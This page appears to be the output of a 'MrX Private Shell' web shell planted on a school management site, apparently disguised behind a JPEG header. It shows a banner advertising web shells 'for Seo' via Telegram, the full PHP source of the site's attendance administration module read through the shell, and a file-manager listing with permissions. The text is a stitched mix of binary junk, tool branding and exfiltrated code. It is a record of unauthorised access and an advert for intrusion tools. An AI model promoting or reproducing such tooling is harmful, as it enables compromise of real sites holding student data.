����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
//FJ move Attendance.php from functions/ to modules/Attendance/includes
require_once 'modules/Attendance/includes/UpdateAttendanceDaily.fnc.php';
require_once 'modules/Attendance/includes/AttendanceCodes.fnc.php';
$_REQUEST['table'] = issetVal( $_REQUEST['table'] );
$_REQUEST['expanded_view'] = issetVal( $_REQUEST['expanded_view'], '' );
DrawHeader( ProgramTitle() );
// Set date.
$date = RequestedDate( 'date', DBDate(), 'set' );
if ( ! empty( $_SESSION['Administration.php']['date'] )
&& $_SESSION['Administration.php']['date'] !== $date )
{
// Unset attendance & attendance day & redirect URL.
RedirectURL( [ 'attendance', 'attendance_day' ] );
}
if ( $_REQUEST['table'] == '' )
{
$_REQUEST['table'] = '0';
}
if ( $_REQUEST['table'] == '0' )
{
$table = 'attendance_period';
$extra_sql = '';
}
else
{
$table = 'lunch_period';
$extra_sql = " AND TABLE_NAME='" . (int) $_REQUEST['table'] . "'";
}
$_SESSION['Administration.php']['date'] = $date;
$current_mp = GetCurrentMP( 'QTR', $date, false );
if ( ! $current_mp )
{
echo '<form action="' . PreparePHP_SELF( $_REQUEST ) . '" method="POST">';
DrawHeader(
PrepareDate( $date, '_date', false, [ 'submit' => true ] )
);
echo '</form>';
ErrorMessage( [ _( 'The selected date is not in a school quarter.' ) ], 'fatal' );
}
$all_mp = GetAllMP( 'QTR', $current_mp );
$current_Q = "SELECT ATTENDANCE_TEACHER_CODE,ATTENDANCE_CODE,ATTENDANCE_REASON,COMMENT,
STUDENT_ID,ADMIN,PERIOD_ID
FROM " . DBEscapeIdentifier( $table ) .
" WHERE SCHOOL_DATE='" . $date . "'" . $extra_sql;
if ( SchoolInfo( 'NUMBER_DAYS_ROTATION' ) !== null )
{
// FJ days numbered.
// FJ multiple school periods for a course period.
$current_schedule_Q = "SELECT cpsp.PERIOD_ID,cp.COURSE_PERIOD_ID
FROM schedule s,course_periods cp,course_period_school_periods cpsp
WHERE cp.COURSE_PERIOD_ID=cpsp.COURSE_PERIOD_ID
AND s.STUDENT_ID='__student_id__'
AND s.SYEAR='" . UserSyear() . "'
AND s.SCHOOL_ID='" . UserSchool() . "'
AND cp.COURSE_PERIOD_ID=s.COURSE_PERIOD_ID
AND position('," . $_REQUEST['table'] . ",' IN cp.DOES_ATTENDANCE)>0
AND ('" . $date . "' BETWEEN s.START_DATE AND s.END_DATE OR (s.END_DATE IS NULL AND '" . $date . "'>=s.START_DATE))
AND position(substring('MTWHFSU' FROM cast(
(SELECT CASE COUNT(SCHOOL_DATE)%" . SchoolInfo( 'NUMBER_DAYS_ROTATION' ) . " WHEN 0 THEN " . SchoolInfo( 'NUMBER_DAYS_ROTATION' ) . " ELSE COUNT(SCHOOL_DATE)%" . SchoolInfo( 'NUMBER_DAYS_ROTATION' ) . " END AS day_number
FROM attendance_calendar
WHERE SCHOOL_DATE<='" . $date . "'
AND SCHOOL_DATE>=(SELECT START_DATE
FROM school_marking_periods
WHERE START_DATE<='" . $date . "'
AND END_DATE>='" . $date . "'
AND MP='QTR'
AND SCHOOL_ID=s.SCHOOL_ID
AND SYEAR=s.SYEAR)
AND CALENDAR_ID=cp.CALENDAR_ID)
" . ( $DatabaseType === 'mysql' ? "AS UNSIGNED)" : "AS INT)" ) .
" FOR 1) IN cpsp.DAYS)>0
AND s.MARKING_PERIOD_ID IN (" . $all_mp . ")
ORDER BY s.START_DATE ASC";
}
else
{
// @since 10.0 SQL use DAYOFWEEK() for MySQL or cast(extract(DOW)+1 AS int) for PostrgeSQL
$current_schedule_Q = "SELECT cpsp.PERIOD_ID,cp.COURSE_PERIOD_ID
FROM schedule s,course_periods cp, course_period_school_periods cpsp
WHERE cp.COURSE_PERIOD_ID=cpsp.COURSE_PERIOD_ID
AND s.STUDENT_ID='__student_id__'
AND s.SYEAR='" . UserSyear() . "'
AND s.SCHOOL_ID='" . UserSchool() . "'
AND cp.COURSE_PERIOD_ID = s.COURSE_PERIOD_ID
AND position('," . $_REQUEST['table'] . ",' IN cp.DOES_ATTENDANCE)>0
AND ('" . $date . "' BETWEEN s.START_DATE AND s.END_DATE OR (s.END_DATE IS NULL AND '" . $date . "'>=s.START_DATE))
AND position(substring('UMTWHFS' FROM " .
( $DatabaseType === 'mysql' ?
"DAYOFWEEK(cast('" . $date . "' AS DATE))" :
"cast(extract(DOW FROM cast('" . $date . "' AS DATE))+1 AS int)" ) .
" FOR 1) IN cpsp.DAYS)>0
AND s.MARKING_PERIOD_ID IN (" . $all_mp . ")
ORDER BY s.START_DATE ASC";
}
// TODO: can be optimized? Remove PERIOD_ID index.
$current_RET = DBGet( $current_Q, [], [ 'STUDENT_ID', 'PERIOD_ID' ] );
if ( ! empty( $_REQUEST['attendance'] ) // Fix GET form: do not check $_POST.
&& AllowEdit() )
{
foreach ( (array) $_REQUEST['attendance'] as $student_id => $values )
{
if ( empty( $current_schedule_RET[$student_id] ) )
{
$current_schedule_RET[$student_id] = DBGet( str_replace( '__student_id__', $student_id, $current_schedule_Q ), [], [ 'PERIOD_ID' ] );
if ( empty( $current_schedule_RET[$student_id] ) )
{
$current_schedule_RET[$student_id] = true;
}
}
foreach ( (array) $values as $period_id => $columns )
{
$course_period_id = $current_schedule_RET[$student_id][$period_id][1]['COURSE_PERIOD_ID'];
if ( ! empty( $current_RET[$student_id][$period_id] ) )
{
DBUpdate(
$table,
[
'ADMIN' => 'Y',
'COURSE_PERIOD_ID' => (int) $course_period_id,
] + $columns,
[
'STUDENT_ID' => (int) $student_id,
'SCHOOL_DATE' => $date,
'PERIOD_ID' => (int) $period_id,
]
);
}
else
{
$insert_columns = [
'STUDENT_ID' => (int) $student_id,
'SCHOOL_DATE' => $date,
'PERIOD_ID' => (int) $period_id,
'MARKING_PERIOD_ID' => (int) $current_mp,
'ADMIN' => 'Y',
'COURSE_PERIOD_ID' => (int) $course_period_id,
];
DBInsert(
$table,
$insert_columns + $columns
);
}
}
UpdateAttendanceDaily(
$student_id,
$date,
issetVal( $_REQUEST['attendance_day'][$student_id]['COMMENT'], false )
);
unset( $_REQUEST['attendance_day'][$student_id] );
}
// TODO: can be optimized? Remove PERIOD_ID index.
$current_RET = DBGet( $current_Q, [], [ 'STUDENT_ID', 'PERIOD_ID' ] );
// Unset attendance & redirect URL.
RedirectURL( 'attendance' );
}
if ( ! empty( $_REQUEST['attendance_day'] ) )
{
foreach ( (array) $_REQUEST['attendance_day'] as $student_id => $comment )
{
UpdateAttendanceDaily(
$student_id,
$date,
$comment['COMMENT']
);
}
// Unset attendance day & redirect URL.
RedirectURL( 'attendance_day' );
}
$codes_RET = DBGet( "SELECT ID,SHORT_NAME,TITLE,STATE_CODE
FROM attendance_codes
WHERE SCHOOL_ID='" . UserSchool() . "'
AND SYEAR='" . UserSyear() . "'
AND TABLE_NAME='" . (int) $_REQUEST['table'] . "'" );
$periods_RET = DBGet( "SELECT sp.PERIOD_ID,COALESCE(sp.SHORT_NAME,sp.TITLE) AS SHORT_NAME,sp.TITLE
FROM school_periods sp
WHERE sp.SCHOOL_ID='" . UserSchool() . "'
AND sp.SYEAR='" . UserSyear() . "'
AND EXISTS (SELECT '' FROM course_periods cp,course_period_school_periods cpsp
WHERE cpsp.PERIOD_ID=sp.PERIOD_ID
AND cpsp.COURSE_PERIOD_ID=cp.COURSE_PERIOD_ID
AND cp.SCHOOL_ID='" . UserSchool() . "'
AND cp.SYEAR='" . UserSyear() . "'
AND position('," . $_REQUEST['table'] . ",' IN cp.DOES_ATTENDANCE)>0)
ORDER BY sp.SORT_ORDER IS NULL,sp.SORT_ORDER,sp.TITLE" );
$categories_RET = DBGet( "SELECT ID,TITLE
FROM attendance_code_categories
WHERE SYEAR='" . UserSyear() . "'
AND SCHOOL_ID='" . UserSchool() . "'" );
$headerl = '';
if ( ! empty( $categories_RET ) )
{
$tmp_PHP_SELF = PreparePHP_SELF( $_REQUEST );
$headerl .= '<a href="' . $tmp_PHP_SELF . '&table=0">';
$headerl .= $_REQUEST['table'] == '0' ? '<b>' . _( 'Attendance' ) . '</b>' : _( 'Attendance' );
$headerl .= '</a>';
foreach ( (array) $categories_RET as $category )
{
$headerl .= ' | <a href="' . $tmp_PHP_SELF . '&table=' . $category['ID'] . '">';
$headerl .= $_REQUEST['table'] == $category['ID'] ? '<b>' . $category['TITLE'] . '</b>' : $category['TITLE'];
$headerl .= '</a>';
}
}
if ( isset( $_REQUEST['student_id'] ) && $_REQUEST['student_id'] !== 'new' )
{
if ( UserStudentID() != $_REQUEST['student_id'] )
{
SetUserStudentID( $_REQUEST['student_id'] );
}
$functions = [
'ATTENDANCE_CODE' => '_makeCodePulldown',
'ATTENDANCE_TEACHER_CODE' => '_makeCode',
'ATTENDANCE_REASON' => '_makeReasonInput',
'COMMENT' => '_makeReason',
];
if ( SchoolInfo( 'NUMBER_DAYS_ROTATION' ) !== null )
{
// FJ days numbered.
// FJ multiple school periods for a course period.
$schedule_RET = DBGet( "SELECT s.STUDENT_ID,c.TITLE AS COURSE,cpsp.PERIOD_ID,
cp.COURSE_PERIOD_ID,p.TITLE AS PERIOD_TITLE,s.STUDENT_ID AS ATTENDANCE_CODE,
s.STUDENT_ID AS ATTENDANCE_TEACHER_CODE,s.STUDENT_ID AS ATTENDANCE_REASON,
s.STUDENT_ID AS COMMENT
FROM schedule s,courses c,course_periods cp,school_periods p,attendance_calendar ac, course_period_school_periods cpsp
WHERE cp.COURSE_PERIOD_ID=cpsp.COURSE_PERIOD_ID
AND s.SYEAR='" . UserSyear() . "'
AND s.SCHOOL_ID='" . UserSchool() . "'
AND s.MARKING_PERIOD_ID IN (" . $all_mp . ")
AND s.COURSE_ID=c.COURSE_ID
AND s.COURSE_PERIOD_ID=cp.COURSE_PERIOD_ID
AND cpsp.PERIOD_ID=p.PERIOD_ID
AND position('," . $_REQUEST['table'] . ",' IN cp.DOES_ATTENDANCE)>0
AND s.STUDENT_ID='" . (int) $_REQUEST['student_id'] . "'
AND ('" . $date . "' BETWEEN s.START_DATE AND s.END_DATE OR (s.END_DATE IS NULL AND '" . $date . "'>=s.START_DATE))
AND position(substring('MTWHFSU' FROM cast(
(SELECT CASE COUNT(SCHOOL_DATE)%" . SchoolInfo( 'NUMBER_DAYS_ROTATION' ) . " WHEN 0 THEN " . SchoolInfo( 'NUMBER_DAYS_ROTATION' ) . " ELSE COUNT(SCHOOL_DATE)%" . SchoolInfo( 'NUMBER_DAYS_ROTATION' ) . " END AS day_number
FROM attendance_calendar
WHERE SCHOOL_DATE<=ac.SCHOOL_DATE
AND SCHOOL_DATE>=(SELECT START_DATE
FROM school_marking_periods
WHERE START_DATE<=ac.SCHOOL_DATE
AND END_DATE>=ac.SCHOOL_DATE
AND MP='QTR'
AND SCHOOL_ID=s.SCHOOL_ID
AND SYEAR=s.SYEAR)
AND CALENDAR_ID=cp.CALENDAR_ID)
" . ( $DatabaseType === 'mysql' ? "AS UNSIGNED)" : "AS INT)" ) .
" FOR 1) IN cpsp.DAYS)>0
AND ac.CALENDAR_ID=cp.CALENDAR_ID
AND ac.SCHOOL_DATE='" . $date . "'
AND ac.MINUTES!='0'
ORDER BY p.SORT_ORDER IS NULL,p.SORT_ORDER", $functions );
}
else
{
// @since 10.0 SQL use DAYOFWEEK() for MySQL or cast(extract(DOW)+1 AS int) for PostrgeSQL
$schedule_RET = DBGet( "SELECT
s.STUDENT_ID,c.TITLE AS COURSE,cpsp.PERIOD_ID,cp.COURSE_PERIOD_ID,p.TITLE AS PERIOD_TITLE,
s.STUDENT_ID AS ATTENDANCE_CODE,s.STUDENT_ID AS ATTENDANCE_TEACHER_CODE,s.STUDENT_ID AS ATTENDANCE_REASON,s.STUDENT_ID AS COMMENT
FROM schedule s,courses c,course_periods cp,school_periods p,attendance_calendar ac, course_period_school_periods cpsp
WHERE cp.COURSE_PERIOD_ID=cpsp.COURSE_PERIOD_ID AND
s.SYEAR='" . UserSyear() . "' AND s.SCHOOL_ID='" . UserSchool() . "'
AND s.MARKING_PERIOD_ID IN (" . $all_mp . ")
AND s.COURSE_ID=c.COURSE_ID
AND s.COURSE_PERIOD_ID=cp.COURSE_PERIOD_ID AND cpsp.PERIOD_ID=p.PERIOD_ID AND position(',$_REQUEST[table],' IN cp.DOES_ATTENDANCE)>0
AND s.STUDENT_ID='" . (int) $_REQUEST['student_id'] . "'
AND ('" . $date . "' BETWEEN s.START_DATE AND s.END_DATE OR (s.END_DATE IS NULL AND '" . $date . "'>=s.START_DATE))
AND position(substring('UMTWHFS' FROM " .
( $DatabaseType === 'mysql' ?
"DAYOFWEEK(cast('" . $date . "' AS DATE))" :
"cast(extract(DOW FROM cast('" . $date . "' AS DATE))+1 AS int)" ) .
" FOR 1) IN cpsp.DAYS)>0
AND ac.CALENDAR_ID=cp.CALENDAR_ID AND ac.SCHOOL_DATE='" . $date . "' AND ac.MINUTES!='0'
ORDER BY p.SORT_ORDER IS NULL,p.SORT_ORDER", $functions );
}
$columns = [
'PERIOD_TITLE' => _( 'Period' ),
'COURSE' => _( 'Course' ),
'ATTENDANCE_CODE' => _( 'Attendance Code' ),
'ATTENDANCE_TEACHER_CODE' => _( 'Teacher\'s Entry' ),
'ATTENDANCE_REASON' => _( 'Office Comment' ),
'COMMENT' => _( 'Teacher Comment' ),
];
echo '<form action="' . PreparePHP_SELF( $_REQUEST ) . '" method="POST">';
DrawHeader(
PrepareDate( $date, '_date', false, [ 'submit' => true ] ),
SubmitButton( _( 'Update' ) )
);
$headerr = '<a href="' . PreparePHP_Self( $_REQUEST, [ 'student_id' ] ) . '">' .
_( 'Student List' ) . '</a>';
DrawHeader( $headerl, $headerr );
ListOutput( $schedule_RET, $columns, 'Course', 'Courses', [], [], [ 'valign-middle' => true ] );
echo '</form>';
}
else
{
$extra['WHERE'] = " AND EXISTS (SELECT '' FROM " . DBEscapeIdentifier( $table ) . " ap,attendance_codes ac
WHERE ap.SCHOOL_DATE='" . $date . "'
AND ap.STUDENT_ID=ssm.STUDENT_ID
AND ap.ATTENDANCE_CODE=ac.ID
AND ac.SCHOOL_ID=ssm.SCHOOL_ID
AND ac.SYEAR=ssm.SYEAR " . str_replace( 'TABLE_NAME', 'ac.TABLE_NAME', $extra_sql );
$extra2['WHERE'] = $_REQUEST['expanded_view'] != 'true' ? $extra['WHERE'] : '';
$abs = false;
if ( ! empty( $_REQUEST['codes'] ) )
{
$REQ_codes = $_REQUEST['codes'];
foreach ( (array) $REQ_codes as $key => $value )
{
if ( ! $value )
{
unset( $REQ_codes[$key] );
}
elseif ( $value == 'A' )
{
$abs = true;
}
}
}
else
{
$abs = ( $_REQUEST['table'] == '0' ); //true;
}
if ( ! empty( $REQ_codes ) && ! $abs )
{
$extra['WHERE'] .= " AND ac.ID IN (";
foreach ( (array) $REQ_codes as $code )
{
$extra['WHERE'] .= "'" . (int) $code . "',";
}
if ( $_REQUEST['expanded_view'] != 'true' )
{
$extra2['WHERE'] = $extra['WHERE'] = mb_substr( $extra['WHERE'], 0, -1 ) . ')';
}
else
{
$extra['WHERE'] = mb_substr( $extra['WHERE'], 0, -1 ) . ')';
}
}
elseif ( $abs )
{
$RET = DBGet( "SELECT ID
FROM attendance_codes
WHERE SYEAR='" . UserSyear() . "'
AND SCHOOL_ID='" . UserSchool() . "'
AND (DEFAULT_CODE!='Y' OR DEFAULT_CODE IS NULL)
AND TABLE_NAME='" . (int) $_REQUEST['table'] . "'" );
if ( ! empty( $RET ) )
{
$extra['WHERE'] .= " AND ac.ID IN (";
foreach ( (array) $RET as $code )
{
$extra['WHERE'] .= "'" . (int) $code['ID'] . "',";
}
if ( $_REQUEST['expanded_view'] != 'true' )
{
$extra2['WHERE'] = $extra['WHERE'] = mb_substr( $extra['WHERE'], 0, -1 ) . ')';
}
else
{
$extra['WHERE'] = mb_substr( $extra['WHERE'], 0, -1 ) . ')';
}
}
}
$extra['WHERE'] .= ')';
// EXPANDED VIEW BREAKS THIS QUERY. PLUS, PHONE IS ALREADY AN OPTION IN EXPANDED VIEW
if ( $_REQUEST['expanded_view'] != 'true' && ! isset( $_REQUEST['_ROSARIO_PDF'] ) )
{
$extra2['WHERE'] .= ')';
$extra2['SELECT_ONLY'] = 'ssm.STUDENT_ID,p.PERSON_ID,p.FIRST_NAME,p.LAST_NAME,p.MIDDLE_NAME,
sjp.STUDENT_RELATION,pjc.TITLE,pjc.VALUE,a.PHONE,sjp.ADDRESS_ID ';
$extra2['FROM'] = ',address a,students_join_address sja LEFT OUTER JOIN students_join_people sjp ON (sja.STUDENT_ID=sjp.STUDENT_ID AND sja.ADDRESS_ID=sjp.ADDRESS_ID AND (sjp.CUSTODY=\'Y\' OR sjp.EMERGENCY=\'Y\')) LEFT OUTER JOIN people p ON (p.PERSON_ID=sjp.PERSON_ID) LEFT OUTER JOIN people_join_contacts pjc ON (pjc.PERSON_ID=p.PERSON_ID) ';
$extra2['WHERE'] .= ' AND a.ADDRESS_ID=sja.ADDRESS_ID AND sja.STUDENT_ID=ssm.STUDENT_ID ';
$extra2['ORDER_BY'] = 'COALESCE(sjp.CUSTODY,\'N\') DESC';
$extra2['group'] = [ 'STUDENT_ID', 'PERSON_ID' ];
$contacts_RET = GetStuList( $extra2 );
$extra['columns_before']['PHONE'] = button( 'down_phone' );
}
$columns = [];
$extra['SELECT'] = issetVal( $extra['SELECT'], '' );
$extra['SELECT'] .= ',s.STUDENT_ID AS PHONE';
$extra['functions']['PHONE'] = 'makeContactInfo';
if ( $_REQUEST['table'] == '0' )
{
$extra['SELECT'] .= ",(SELECT STATE_VALUE FROM attendance_day WHERE STUDENT_ID=ssm.STUDENT_ID AND SCHOOL_DATE='" . $date . "') AS STATE_VALUE";
$extra['SELECT'] .= ",(SELECT COMMENT FROM attendance_day WHERE STUDENT_ID=ssm.STUDENT_ID AND SCHOOL_DATE='" . $date . "') AS DAILY_COMMENT";
$extra['functions']['STATE_VALUE'] = '_makeStateValue';
$extra['functions']['DAILY_COMMENT'] = '_makeStateValue';
$extra['columns_after']['STATE_VALUE'] = _( 'Present' );
$extra['columns_after']['DAILY_COMMENT'] = _( 'Day Comment' );
}
// $extra['link']['FULL_NAME']['link'] = 'Modules.php?modname='.$_REQUEST['modname'].'&month_date='.$_REQUEST['month_date'].'&day_date='.$_REQUEST['day_date'].'&year_date='.$_REQUEST['year_date'].'&table='.$_REQUEST['table'];
$extra['link']['FULL_NAME']['link'] = PreparePHP_SELF( $_REQUEST );
$extra['link']['FULL_NAME']['variables'] = [ 'student_id' => 'STUDENT_ID' ];
$extra['BackPrompt'] = false;
$extra['Redirect'] = false;
$extra['new'] = true;
$extra3 = $extra;
$students_RET = GetStuList( $extra3 );
$student_ids = [];
foreach ( $students_RET as $student )
{
$student_ids[] = $student['STUDENT_ID'];
}
if ( $student_ids )
{
$current_schedules_RET = DBGet( str_replace(
"='__student_id__'",
" IN(" . implode( ',', array_map( 'intval', $student_ids ) ) . ")",
$current_schedule_Q
), [], [ 'PERIOD_ID' ] );
}
foreach ( (array) $periods_RET as $period )
{
if ( empty( $current_schedules_RET[ $period['PERIOD_ID'] ] ) )
{
// @since 11.0 Skip School Period column if has no students scheduled for selected date
continue;
}
$extra['SELECT'] .= ",s.STUDENT_ID AS PERIOD_" . $period['PERIOD_ID'];
$extra['functions']['PERIOD_' . $period['PERIOD_ID']] = '_makeCodePulldown';
$extra['columns_after']['PERIOD_' . $period['PERIOD_ID']] = $period['SHORT_NAME'];
}
if ( ! empty( $REQ_codes ) )
{
$code_pulldowns = '';
foreach ( (array) $REQ_codes as $code )
{
$code_pulldowns .= _makeCodeSearch( $code );
}
}
elseif ( $abs )
{
$code_pulldowns = _makeCodeSearch( 'A' );
}
else
{
$code_pulldowns = _makeCodeSearch();
}
echo '<form action="' . PreparePHP_SELF( $_REQUEST ) . '" method="POST">';
DrawHeader(
PrepareDate( $date, '_date', false, [ 'submit' => true ] ),
SubmitButton( _( 'Update' ) )
);
$current_student_link = '';
if ( UserStudentID() )
{
$current_student_link = ' <a href="' .
PreparePHP_Self( $_REQUEST, [], [ 'student_id' => UserStudentID() ] ) . '">' .
_( 'Current Student' ) . '</a></td><td>';
}
if ( $headerl )
{
// Header already has Attendance categories: add spacing.
$headerl .= ' — ';
}
$headerl .= AttendanceCodesTipMessage( '', $_REQUEST['table'] );
$headerr = '<table style="float: right;"><tr><td class="align-right">' .
button(
'add',
'',
'"#" onclick="' . AttrEscape( 'addHTML(' . json_encode( _makeCodeSearch() ) .
',\'code_pulldowns\'); return false;' ) . '"'
) . '</td><td><div id="code_pulldowns">' . $code_pulldowns . '</div></td>' .
'<td class="align-right">' . $current_student_link . '</td></tr></table>';
DrawHeader( $headerl, $headerr );
$_REQUEST['search_modfunc'] = 'list';
$extra['options']['valign-middle'] = true;
Search( 'student_id', $extra );
echo '<br /><div class="center">' . SubmitButton( _( 'Update' ) ) . '</div>';
echo '</form>';
}
/**
* @param $value
* @param $title
*/
function _makeCodePulldown( $value, $title )
{
global $THIS_RET,
$codes_RET,
$current_RET,
$current_schedule_RET,
$current_schedule_Q;
if ( empty( $current_schedule_RET[$value] ) )
{
$current_schedule_RET[$value] = DBGet( str_replace( '__student_id__', $value, $current_schedule_Q ), [], [ 'PERIOD_ID' ] );
if ( empty( $current_schedule_RET[$value] ) )
{
$current_schedule_RET[$value] = true;
}
}
if ( ! empty( $THIS_RET['COURSE'] ) )
{
$period_id = $THIS_RET['PERIOD_ID'];
$code_title = 'TITLE';
}
else
{
$period_id = mb_substr( $title, 7 );
$code_title = 'SHORT_NAME';
}
if ( ! empty( $current_schedule_RET[$value][$period_id] ) )
{
$val = isset( $current_RET[$value][$period_id][1]['ATTENDANCE_CODE'] ) ?
$current_RET[$value][$period_id][1]['ATTENDANCE_CODE'] : null;
foreach ( (array) $codes_RET as $code )
{
$options[$code['ID']] = $code[$code_title];
if ( $val === $code['ID'] )
{
$current_code_title = $code['TITLE'];
$current_state_code = $code['STATE_CODE'];
}
}
return MakeAttendanceCode(
issetVal( $current_state_code ),
SelectInput( $val, 'attendance[' . $value . '][' . $period_id . '][ATTENDANCE_CODE]', '', $options ),
issetVal( $current_code_title )
);
}
return false;
}
/**
* @param $value
* @param $title
* @return mixed
*/
function _makeCode( $value, $title )
{
global $THIS_RET, $codes_RET, $current_RET;
foreach ( (array) $codes_RET as $code )
{
if ( isset( $current_RET[$value][$THIS_RET['PERIOD_ID']][1]['ATTENDANCE_TEACHER_CODE'] )
&& $current_RET[$value][$THIS_RET['PERIOD_ID']][1]['ATTENDANCE_TEACHER_CODE'] == $code['ID'] )
{
return $code['TITLE'];
}
}
}
/**
* @param $value
* @param $title
*/
function _makeReasonInput( $value, $title )
{
global $THIS_RET, $codes_RET, $current_RET;
$val = isset( $current_RET[$value][$THIS_RET['PERIOD_ID']][1]['ATTENDANCE_REASON'] ) ?
$current_RET[$value][$THIS_RET['PERIOD_ID']][1]['ATTENDANCE_REASON'] : '';
return TextInput(
$val,
'attendance[' . $value . '][' . $THIS_RET['PERIOD_ID'] . '][ATTENDANCE_REASON]',
''
);
}
/**
* @param $value
* @param $title
* @return mixed
*/
function _makeReason( $value, $title )
{
global $THIS_RET, $current_RET;
return issetVal( $current_RET[$value][$THIS_RET['PERIOD_ID']][1]['COMMENT'], '' );
}
/**
* @param $value
* @return mixed
*/
function _makeCodeSearch( $value = '' )
{
global $codes_RET, $code_search_selected;
// Fix bug when selected Attendance code is "All": set value to 0.
$return = '<select name="codes[]"><option value="0">' . _( 'All' ) . '</option>';
if ( $_REQUEST['table'] == '0' )
{
$return .= '<option value="A"' . ( ( $value == 'A' ) ? ' selected' : '' ) . '>' . _( 'Not Present' ) . '</option>';
}
if ( ! empty( $codes_RET ) )
{
foreach ( (array) $codes_RET as $code )
{
$return .= '<option value="' . AttrEscape( $code['ID'] ) . '"' . ( $value == $code['ID'] ? ' selected' : '' ) . '>' . $code['TITLE'] . '</option>';
}
}
$return .= '</select>';
return $return;
}
/**
* Make Present State value or Day Comment input.
*
* @since 5.0 Add color codes for Present State values.
*
* @param string $value Value.
* @param string $name Column name: 'STATE_VALUE' or 'DAY_COMMENT'.
*
* @return string Present State value.
*/
function _makeStateValue( $value, $name )
{
global $THIS_RET;
if ( $name == 'STATE_VALUE' )
{
return MakeAttendanceCode( $value );
}
else
{
return TextInput( $value, 'attendance_day[' . $THIS_RET['STUDENT_ID'] . '][COMMENT]' );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| includes | Folder | 0755 |
|
|
| AddAbsences.php | File | 10.68 KB | 0644 |
|
| Administration.php | File | 21.38 KB | 0644 |
|
| Administration_fast.old.php | File | 11.57 KB | 0644 |
|
| AttendanceCodes.php | File | 8.51 KB | 0644 |
|
| DailySummary.php | File | 1.17 KB | 0644 |
|
| DuplicateAttendance.php | File | 11.19 KB | 0644 |
|
| FixDailyAttendance.php | File | 2.25 KB | 0644 |
|
| Menu.php | File | 1.6 KB | 0644 |
|
| Percent.php | File | 11.72 KB | 0644 |
|
| TakeAttendance.php | File | 17.1 KB | 0644 |
|
| TeacherCompletion.php | File | 7.7 KB | 0644 |
|